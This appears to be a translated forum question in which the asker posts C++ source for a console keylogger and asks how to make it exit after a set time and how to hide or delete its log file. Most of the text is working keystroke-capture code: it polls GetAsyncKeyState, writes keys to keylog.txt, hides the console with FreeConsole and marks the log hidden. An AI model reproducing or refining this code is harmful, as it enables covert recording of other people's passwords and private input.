我刚刚创建了一个基于控制台的键盘记录程序。由于我的键盘记录器应用程序是无限循环(永不关闭),我想知道我是否可以让键盘记录器在20秒后自动终止。
while (true)
{
for (key = 8; key <= 190; key++) // ascii code
{
if (GetAsyncKeyState(key) == -32767)
if (KeyIsListed(key) == FALSE)
{
ofstream logfile;
logfile.open("keylog.txt", fstream::app);
logfile << key;
logfile.close();
}
}
}
根据您的建议,这是我到目前为止所做的改动
FreeConsole();
char key;
//time_t future = time(NULL) + 3; // exit after 3 seconds
clock_t start = clock();
while (true)
{
if (((clock() - start) / CLOCKS_PER_SEC) >= 3) // if (time(NULL) > future)
{
DWORD attributes = GetFileAttributes("keylog.txt");
SetFileAttributes("keylog.txt", attributes + FILE_ATTRIBUTE_HIDDEN);
// remove("keylog.txt");
break;
}
for (key = 8; key <= 190; key++) // ascii code
{
if (GetAsyncKeyState(key) == -32767)
if (KeyIsListed(key) == FALSE)
{
ofstream logfile;
logfile.open("keylog.txt", fstream::app);
logfile << key;
logfile.close();
}
}
}
exit(0);
我在3秒后检查了任务管理器,并且键盘记录器仍然在后台运行。
另外,如何在终止程序时删除keylog.txt或设置隐藏的keylog.txt?